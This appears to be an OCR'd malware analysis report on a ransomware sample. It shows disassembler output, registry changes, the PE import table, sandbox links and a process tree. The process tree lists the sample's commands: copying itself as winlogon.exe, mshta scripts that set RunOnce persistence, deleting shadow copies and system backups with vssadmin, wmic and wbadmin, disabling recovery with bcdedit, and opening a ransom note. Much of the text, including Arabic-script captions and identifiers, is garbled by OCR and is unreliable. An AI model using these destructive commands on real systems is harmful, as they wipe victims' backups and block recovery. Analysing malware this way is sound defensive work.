1 BB4AB61EA align 4

:@84861EC ; [@PEE@E86 BYTES: COLLAPSED FUNCTION GetLocaleInfoA @. PRESS CTRL-NUMPAD4+ TO EXPAND]

1 @B4B61F2 align 4

:@84861F4 ; [PeEEe886 BYTES: COLLAPSED FUNCTION GetModuleFileNameA @. PRESS CTRL-NUMPADH TO EXPAND]
1 @B4B61FA align 4

1@84861FC ; [BEEE@886 BYTES: COLLAPSED FUNCTION GetModuleFileNameW. PRESS CTRL-NUMPAD+ TO EXPAND]

000055E4 00000000004061E4: FetLocalTime (Synchronized with Hex View-1)




Py
wleUblis yglis gilbliyl yljg ‘ —

whplele Ublg 5 gUs ¢ lojLu

ol Lol (6 ey AJS

HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\zHwPYYWRMf
Y0 0 4.9[.&‘ J.pu,c

HKU\.DEFAULT\Software\Classes\Local

Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\MCTRes.dll,-200005: "Websites for United
States"
HKU\.DEFAULT\Software\Classes\Local

Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\ieframe.dll,-12385: "Favorites Bar"
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Common
Files\system\wab32res.dll,-10100: "Contacts"
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Microsoft\Notepad|\iPointSize:
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Microsoft\Notepad\IfCharSet:
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Microsoft\Notepad\IlfWeight:
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Microsoft\Notepad\lfitalic:
HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Notepad\lfUnderline:
HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Notepad\IfOrientation:
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Microsoft\Notepad\IfStrikeOut:
HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Notepad\IlfFaceName: "Fixedsys"
HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-
9926F41749EA} Count\P:\Hfref\HO-
PREG\Qrfxgbc\r7p55835prr1r3900qr904n21p864p74s16414s391n1221p3s038s6pr703q7rr.rkr:
HKU\S-1-5-21-2853862532-1823478465-2883723831-

1000\Software\Microsoft\Windows\CurrentVersion\Run\zHwPYYWRMJ: "notepad.exe "C:\Users\UB-
CERT\HOW TO RECOVER ENCRYPTED FILES.TXT""

HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\zHwPYYWRMAidle: "1"
HKU\S-1-5-18\Software\Classes\Local

Settings\MuiCache\22\52C64B7E\@C:\Windows\system32\MCTRes.dll,-200005: "Websites for United
States"

HKU\S-1-5-18\Software\Classes\Local
Settings\MuiCache\22\52C64B7E\@C:\Windows\System32\ieframe.dll,-12385: "Favorites Bar"
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\22\52C64B7E\@C:\Program Files\Common
Files\system\wab32res.dll,-10100: "Contacts"

Bl S (S ey SladS

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\{D4546416-77DE-4750-
923A-1ED584EB8218}\DatelLastConnected

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\O09\Counter
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\CurrentLanguage\Counter

HKLM\SOFTWARE\Microsoft\Windows Search\UsnNotifier\Windows\Catalogs\Systemindex\{47047898-
1E6D-11E8-878B-806E6F6E6963): "70564856"
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Perflib\O09\Counter

'Y
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HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Perflib\CurrentLanguage\Counter
HKLM\SYSTEM\ControlSet001\services\SharedAccess\Epoch\Epoch:
HKLM\SYSTEM\ControlSet001\services\SharedAccess\Epoch2\Epoch:
HKLM\SYSTEM\ControlSet001\services\Tcpip\Parameters\interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\LeaseObtainedTime:
HKLM\SYSTEM\ControlSet001\services\Tcpip\Parameters\interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\T1:
HKLM\SYSTEM\ControlSet001\services\Tcpip\Parameters\interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\T2:
HKLM\SYSTEM\ControlSet001\services\Tcpip\Parameters\interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\LeaseTerminatesTime:
HKLM\SYSTEM\ControlSet001\services\VSS\Diag\VolSnap\Volume{47047898-1e6d-11e8-878b-

806e6f6e6963}DeleteProcess (Leave):
HKLM\SYSTEM\RNG\Seed
HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch\Epoch:

HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch2\Epoch:
HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch2\Epoch:
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\LeaseObtainedTime: Ox5B5DBD3A
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\LeaseObtainedTime: Ox5850c803
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2CID3NTI:
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2CID3NTI:
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2CID3NT2:
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3NT2:
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\LeaseTerminatesTime:
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\interfaces\{8167A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\LeaseTerminatesTime:
HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\interfaces\{816 7A8F1-246C-4A44-8F56-
D71BA9D2C1D3}\DhepinterfaceOptions:
HKLM\SYSTEM\CurrentControlSet\services\VSS\Diag\VolSnap\Volume{47047898-1e6d-11e8-878b-
806e6f6e6963}DeleteProcess (Enter)
HKLM\SYSTEM\CurrentControlSet\services\VSS\Diag\VolSnap\Volume{47047898-1e6d-11e8-878b-
806e6f6e6963}DeleteProcess (Leave )
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Control Panel\Desktop\WallpaperStyle:
"10"

HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Control Panel\Desktop\WallpaperStyle:
ll2 n

HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Control Panel\Desktop\Wallpaper:
"C:\Users\UB-CERT\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg"

HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Control Panel\Desktop\Wallpaper:
"C:\Users\UB-CERT\zHwWPYYWRMf.bmp"
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HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-
9926F41749EA} Count\HRZR_PGYFRFFVBA
HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-
9926F41749EA}N Count\{S3805404-1Q43-4252-9305-67QRO0285P23 }\rkcybere.rkr:
HKU\S-1-5-21-2853862532-1823478465-2883723831-
1000\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-
9926F41749EANCount\P:\ertfubg_1.8.3 orgnl_jva32 k64\ertfubg_k64.rkr
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Classes\Local
Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Classes\Local
Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1162x591x96(1).x:
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000\Software\Classes\Local
Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1162x591x96(1).y
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000_Classes\Local
Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000_Classes\Local
Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1162x591x96(1).x: OxFFFF8300
HKU\S-1-5-21-2853862532-1823478465-2883723831-1000_Classes\Local
Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shel\MinPos1162x591x96(1).y: OxFFFFFFFF:

I3 53 45 &S o 3Lzl bS5l alaS a5l nl 5 ol yen 0 (S35 s Sl S IBIL o

D el sdalin J)G j‘.’.)

advapiY'Y.dll kernelY'Y.dll kernelY'Y.dll kernelY'Y.dll oleautY'Y.dll
RegDeleteKeyA GetlastError GetTickCount FindNextFileW VariantChangeType
RegCloseKey GetEnvironmentVariable = GetThreadlLocale GetlLocalelnfoA SafeArrayGetLBound
RegQueryValueEx @ A GetVersionExA LocalAlloc SafeArrayPtrOflndex
A GetStdHandle GlobalUnlock OpenProcess SysAllocStringlLen
RegSetValueExA | FileTimeToDosDateTime @ GetModuleFileNameA  LockResource VariantClear
RegEnumValueA | IstrlenA GlobalHandle SetFileTime SafeArrayCreate
RegCreateKeyExA = GetModuleFileNameW RtlUnwind GetCommandLineW SysReAllocStringlLen
RegOpenKeyExA | GlobalFree LoadLibraryA CreateThread SafeArrayGetUBound
RegDeleteValueA = WaitForSingleObject WinExec UnhandledExceptionFilte = VariantCopy
RegEnumKeyExA | Freelibrary CreateProcessW r SysFreeString
QueryPerformanceCount = DeleteCriticalSection MultiByteToWideChar Variantlnit
er GetStartupInfoA GetLocalTime
EnterCriticalSection GetDateFormatA GetCPInfo
LoadLibraryExA GetCommandLineA
SizeofResource GetProcAddress
shellY'Y.dll userY'Y.dll wininet.dIl kernel ¥Y.dll kernel Y'Y.dIl
SHGetMalloc CharLowerBuffw InternetReadFile EnumCalendarinfoA FormatMessageA
ShellExecuteW GetSystemMetrics InternetOpenUrIA ReadFile OpenMutexA

Ve
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SHGetPathFromIDListW
SHGetSpecialFolderLocatio

n

A
Lo

1eed445364

1@a445384

1eed445364
1 Be445364
1BB445368
18445368
1 Be445368
1BB4453BC
1844536 C

[ =TI < TIN < TI = UA TIN < TI « TJ « T < VIR < TJ < T « I < I < T < TI < I TR - T < T T T}

0002D400 00000000004463B4:

1 @a445384
1@e446364
1 Be445364
1 @a445384

1Be445364
1BB445364 ;
1@e446364
1Be445364

1@e446364
1Be445364
1BB445364 ;

Getlastinputinfo InternetCloseHand|
LoadStringA e
DispatchMessageA InternetOpenA
CharLowerBuffA

SystemParametersinfoW

CharToOemA

CharNextA

CharUpperBuffA

MessageBoxA

PeekMessageA

TranslateMessage

CharNextW

GetKeyboardType

DestroyWindow

ends

Imports from oleaut32.d11

Section 5. (virtual address B2846886)

Virtual size : BEeAleEC | 4332.)
Section size in file : 99901200 (  4608.)
Offset to raw data for section: e@@30480

Flags C@@eep48: Data Readable Writable
Alignment : default

_ stdeall SysFreeString(BSTR bstrString)
extrn _ imp SysFreeString:dword

IstrcpynA
FindFirstFileW
GetACP
GetDiskFreeSpaceA
GlobalLock
FreeResource
GlobalAlloc
TerminateProcess
CreateProcessA
FileTimeToLocalFileTime
InitializeCriticalSection
LoadResource
CreateFileW
VirtualQuery
VirtualFree
FindClose
TlsGetValue

Sleep

MoveFileW
SetFileAttributesW
TlsSetValue
CloseHandle
ExitProcess
GetCurrentThreadld
FindResourceA
VirtualAlloc
DeleteFileW
LeaveCriticalSection

CreateMutexA
SetFilePointer
RaiseException
CompareStringA
WideCharToMultiByt
e
GetFileAttributesA
GetModuleHandleA
CreatePipe
FindFirstFileA
SetEndOfFile
GlobalReAlloc
WriteFile

INT _ stdcall SysReAllocStringLen(BSTR.*pbstr) const OLECHAR *p;zr unsigned int len)

extrn _ imp_SysReAllocStringlen:dwor

BSTR _ stdecall SysﬁllocStringLen(const.DLECH&R *strIn, UINT ui)

extrn imp SysAllocStringlen:dword

-idata:_ imp SysFreeString (Synchronized with Hex View-1)

e HonestSample cafd{adeddv\Y1e1¢icaebAA.exe (PID: Y1AA)

o

o

cmd.exe /c copy /y "C:\HonestSample_°afd£ad2d4y\¥107¢ {caebAA exe"

"%APPDATA%\winlogon.exe" (PID: Y41A)

HonestSample °afd€ad2d4y)Y10%¢{cgebAA.exe runas (PID: YY4Y)

\o


https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015342-00003688
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015541-00003968
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015564-00003292

=le Ublg glis g eulbliyl eyljg

2loy

lel.:.lcublknguéUlnij

cmd.exe /c copy /y

"C:\HonestSample_cafd¢a1e14Y) Y101 ¢ ¢caebAA exe"
"%APPDATA%\winlogon.exe" (PID: YYY¢)

winlogon.exe (PID: YYVY)

mshta.exe "javascript:o=new
ActiveXObject('"WScript.Shell');x=new
ActiveXObject('Scripting.FileSystemObject');setInterval(functio
n(){try{i=x.GetFile('winlogon.exe').Path;o0.RegWrite("HKCU\\Sof
tware\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\zH
WPYYWRMT',i);}catch(e){}},) *);" (PID: Y141)
mshta.exe "javascript:eval(new
ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\MC
DVVA\\TOFLK'));close();" (PID: Y4YA)
» cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -
keepVersions:* (PID: YYVY)
= wbadmin.exe wbadmin DELETE
SYSTEMSTATEBACKUP -keepVersions:+ (PID:
ARRAY
= cmd.exe /c wmic SHADOWCOPY DELETE (PID: £€1¢)
»  WMIC.exe wmic SHADOWCOPY DELETE (PID:
YVY£)

= cmd.exe /c vssadmin Delete Shadows /All /Quiet (PID:
YiﬁY)
» vssadmin.exe vssadmin Delete Shadows /All
/Quiet (PID: Ya¥1)
= cmd.exe /c bcdedit /set {default} recoveryenabled No
(PID: £YY)
» bcdedit.exe bcdedit /set {default}
recoveryenabled No (PID: Y1 ¢¢)
= cmd.exe /c bcdedit /set {default} bootstatuspolicy
ignoreallfailures (PID: Y+ Y ¢)
» bcdedit.exe bcdedit /set {default}
bootstatuspolicy ignoreallfailures (PID: YY ¢ +)
~wtmp* *).exe (PID: YY4Y)
= walm.exe (PID: Y+ £€A)
cmd.exe /c start /max notepad.exe "%USERPROFILE%\HOW
TO RECOVER ENCRYPTED FILES.TXT" (PID: YYY +)
= notepad.exe "%USERPROFILE%\HOW TO RECOVER
ENCRYPTED FILES.TXT" (PID: Yee1)
mshta.exe "javascript:o=new
ActiveXObject('Scripting.FileSystemObject');setInterval(functio
n(){try{o.DeleteFile('winlogon.exe');close()}catch(e){}},) *);"
(PID: YY)
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https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00020732-00003220
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00020749-00002556
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00020733-00003212
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